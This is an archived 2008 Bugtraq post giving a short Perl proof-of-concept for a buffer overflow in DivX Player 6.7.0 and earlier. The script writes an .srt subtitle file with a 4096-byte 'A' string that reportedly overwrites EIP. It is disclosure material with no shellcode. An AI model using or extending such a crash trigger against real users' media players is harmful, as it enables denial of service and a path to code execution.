

# DIVX Player <= 6.7.0 Buffer Overflow PoC ( .SRT )

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-04/msg00174.html>

---

- *From:* [securfrog@xxxxxxxxxx](mailto:securfrog@xxxxxxxxxx)
  - *Date:* 15 Apr 2008 19:58:55 -0000
- 

```
# DIVX Player <= 6.7.0 Buffer Overflow PoC ( .SRT )
# Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash with eip
overwritten
# Replace MOVIE_FILENAME by your movie filename ( .avi )
#
#!/usr/local/bin/perl
my $file="MOVIE_FILENAME.srt";

my $payload = "A" x 4096;

open( $file, ">>$file") or die "Cannot open $file: $!";

print $file "1 \n";
print $file "00:00:01,001 --> 00:00:02,001\n";
print $file $payload;

close($file);

print "$file has been created \n";
```